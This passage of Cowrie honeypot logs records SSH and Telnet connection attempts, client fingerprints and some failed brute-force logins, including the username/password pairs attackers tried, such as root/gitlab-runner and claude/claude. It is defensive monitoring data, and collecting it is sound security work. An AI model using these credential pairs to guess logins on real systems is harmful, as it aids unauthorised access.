{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0aa12c9ab49","protocol":"telnet","message":"New connection: 192.119.13.58:43310 (10.17.0.5:23) [session: a0aa12c9ab49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:06.428788Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:06.676569Z","src_ip":"46.19.67.181","session":"4c9e5d5ad0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":56960,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aea4c2cbf5a","protocol":"ssh","message":"New connection: 186.122.177.140:56960 (10.17.0.5:22) [session: 8aea4c2cbf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:07.948055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:07.953579Z","src_ip":"186.122.177.140","session":"8aea4c2cbf5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:08.138446Z","src_ip":"186.122.177.140","session":"8aea4c2cbf5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":59642,"dst_ip":"10.17.0.5","dst_port":22,"session":"af8f9d05f696","protocol":"ssh","message":"New connection: 35.225.56.202:59642 (10.17.0.5:22) [session: af8f9d05f696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:08.695742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:08.701973Z","src_ip":"35.225.56.202","session":"af8f9d05f696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:08.736807Z","src_ip":"35.225.56.202","session":"af8f9d05f696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitlab-runner","message":"login attempt [root/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:08.905889Z","src_ip":"35.225.56.202","session":"af8f9d05f696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdick","message":"login attempt [root/bigdick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:09.027458Z","src_ip":"186.122.177.140","session":"8aea4c2cbf5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.814594984054565,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:09.371641Z","src_ip":"192.119.13.58","session":"11373c8d4d82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:09.942630Z","src_ip":"35.225.56.202","session":"af8f9d05f696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:10.219465Z","src_ip":"186.122.177.140","session":"8aea4c2cbf5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":51910,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1b7890ba35","protocol":"ssh","message":"New connection: 193.233.48.169:51910 (10.17.0.5:22) [session: bc1b7890ba35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:11.790367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:11.795314Z","src_ip":"193.233.48.169","session":"bc1b7890ba35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:11.917159Z","src_ip":"193.233.48.169","session":"bc1b7890ba35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suporte2","message":"login attempt [root/suporte2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:12.428797Z","src_ip":"193.233.48.169","session":"bc1b7890ba35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"3869d4249a46","protocol":"telnet","message":"New connection: 192.119.13.58:40284 (10.17.0.5:23) [session: 3869d4249a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:12.602207Z"}
{"eventid":"cowrie.session.closed","duration":0.008743524551391602,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:12.610780Z","src_ip":"192.119.13.58","session":"3869d4249a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.93530488014221,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:13.095578Z","src_ip":"192.119.13.58","session":"cc310977e0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:13.553089Z","src_ip":"193.233.48.169","session":"bc1b7890ba35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a90f6b1d03","protocol":"telnet","message":"New connection: 192.119.13.58:45154 (10.17.0.5:23) [session: c4a90f6b1d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:13.690418Z"}
{"eventid":"cowrie.session.closed","duration":39.334553718566895,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:18.273391Z","src_ip":"192.119.13.58","session":"8a21bb5b3438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":35082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0de9e920c0","protocol":"ssh","message":"New connection: 59.126.224.134:35082 (10.17.0.5:22) [session: 4b0de9e920c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:18.864053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:18.868641Z","src_ip":"59.126.224.134","session":"4b0de9e920c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:19.071904Z","src_ip":"59.126.224.134","session":"4b0de9e920c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:20.041071Z","src_ip":"59.126.224.134","session":"4b0de9e920c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":58602,"dst_ip":"159.203.135.109","dst_port":22,"session":"580ca05456ec","protocol":"ssh","message":"New connection: 92.207.4.157:58602 (159.203.135.109:22) [session: 580ca05456ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:20.493544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:20.499102Z","src_ip":"92.207.4.157","session":"580ca05456ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42960,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de32ce84cf9","protocol":"telnet","message":"New connection: 192.119.13.58:42960 (10.17.0.5:23) [session: 5de32ce84cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:20.517921Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:20.614403Z","src_ip":"92.207.4.157","session":"580ca05456ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felicidad","message":"login attempt [root/felicidad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:21.103373Z","src_ip":"92.207.4.157","session":"580ca05456ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:21.248776Z","src_ip":"59.126.224.134","session":"4b0de9e920c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:22.210799Z","src_ip":"92.207.4.157","session":"580ca05456ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.603759765625,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:23.624685Z","src_ip":"192.119.13.58","session":"88c88ed28d77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99051213264465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:24.224733Z","src_ip":"192.119.13.58","session":"d8533fcb7405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.10610365867615,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:26.577998Z","src_ip":"192.119.13.58","session":"6c9e597fc77c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46398,"dst_ip":"10.17.0.5","dst_port":23,"session":"2099111c26ca","protocol":"telnet","message":"New connection: 192.119.13.58:46398 (10.17.0.5:23) [session: 2099111c26ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:28.617445Z"}
{"eventid":"cowrie.session.closed","duration":44.06646156311035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:30.629068Z","src_ip":"192.119.13.58","session":"ccd4a26359a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56700,"dst_ip":"10.17.0.5","dst_port":23,"session":"481e368ef8c3","protocol":"telnet","message":"New connection: 192.119.13.58:56700 (10.17.0.5:23) [session: 481e368ef8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:31.306651Z"}
{"eventid":"cowrie.session.closed","duration":40.382580518722534,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:32.187563Z","src_ip":"192.119.13.58","session":"380400a42eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"37986502b852","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 37986502b852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:34.976962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:34.981861Z","src_ip":"74.243.239.219","session":"37986502b852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:35.150053Z","src_ip":"74.243.239.219","session":"37986502b852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent","message":"login attempt [root/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:35.855985Z","src_ip":"74.243.239.219","session":"37986502b852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:37.028390Z","src_ip":"74.243.239.219","session":"37986502b852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.031829833984375,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:38.299613Z","src_ip":"192.119.13.58","session":"72dfb85499c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37500238418579,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:39.244298Z","src_ip":"192.119.13.58","session":"f1bbb9ffbca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59790658950806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:39.719401Z","src_ip":"192.119.13.58","session":"6166e658228c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37586,"dst_ip":"159.203.135.109","dst_port":22,"session":"26eb88533811","protocol":"ssh","message":"New connection: 37.143.61.84:37586 (159.203.135.109:22) [session: 26eb88533811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:46.055966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:56:46.061059Z","src_ip":"37.143.61.84","session":"26eb88533811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 